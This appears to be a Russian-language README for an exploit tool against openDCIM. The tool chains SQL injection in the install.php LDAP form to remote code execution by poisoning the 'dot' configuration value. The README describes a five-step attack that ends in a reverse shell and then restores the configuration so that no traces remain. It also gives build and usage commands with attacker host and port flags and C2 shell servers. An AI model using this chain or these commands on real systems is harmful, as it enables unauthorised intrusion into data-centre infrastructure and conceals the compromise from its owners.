openDCIM - SQL-инъекция до удаленного выполнения кода через отравление конфигурации

Цепочка удаленного выполнения кода, нацеленная на форму конфигурации LDAP install.php в openDCIM. Создана на основе фреймворка VulnCheck go-exploit.

Цепочка уязвимостей

Затронуты: Все версии (протестировано на последнем коммите 4467e9c4)

Как это работает

1. POST к install.php — SQL-инъекция через форму LDAP создает резервную копию конфигурации, перезаписывает dot командой полезной нагрузки
2. GET к report_network_map.php — запускает exec(), подтверждает RCE через вывод id
3. POST к install.php — перезаписывает dot полезной нагрузкой обратной оболочки
4. GET к report_network_map.php — запускает обратную оболочку
5. POST к install.php — восстанавливает все исходные значения конфигурации из резервной таблицы

После эксплуатации в базе данных не остается никаких следов.

Сборка

go build -o opendcim-exploit .

Использование

Развертывания Docker (без аутентификации)

# Scan only
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80

# Exploit with reverse shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer

Развертывания с htpasswd (любой допустимый пользователь)

./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass

SSL

./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer

Флаги